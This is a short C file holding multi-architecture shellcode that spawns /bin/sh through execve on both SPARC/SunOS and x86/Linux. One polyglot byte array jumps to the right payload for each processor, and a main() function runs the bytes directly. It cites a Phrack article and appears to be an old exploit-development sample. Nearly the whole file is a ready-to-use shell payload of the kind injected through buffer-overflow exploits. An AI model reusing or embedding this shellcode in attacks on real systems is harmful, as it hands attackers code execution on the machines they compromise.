/* multiarch execve() shellcode...
..: SPARC & x86 :..
..: nitrous@danitrous.org
..: 22/04/05

Referencia: 
http://www.phrack.org/phrack/57/p57-0x0e
*/

char sparc_x86[]=
/* nop   nop   jmp 0x3c en x86   */
/* orcc %g3, 0xb3c, %o0 en SPARC */
"\x90\x90\xeb\x3c"
/* SPARC/SunOS execve() */
"\x21\x0b\xd8\x9a\xa0\x14\x21\x6e"
"\x23\x0b\xcb\xdc\xa2\x14\x63\x68"
"\xe0\x3b\xbf\xf0\xc0\x23\xbf\xf8"
"\x90\x23\xa0\x10\xd0\x23\xbf\xe8"
"\xc0\x23\xbf\xec\x92\x23\xa0\x18"
"\x94\x1a\x80\x0a\x82\x10\x20\x3b"
"\x91\xd0\x20\x08\x82\x10\x20\x01"
"\x91\xd0\x20\x08"
/* x86/Linux execve() */
"\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89"
"\x43\x0c\x8d\x4b\x08\x8d\x53\x0c\xb0\x0b\xcd\x80"
"\xe8\xe5\xff\xff\xff/bin/sh";

main()
{
	void (*point) ()= (void *) sparc_x86;
	point();
}
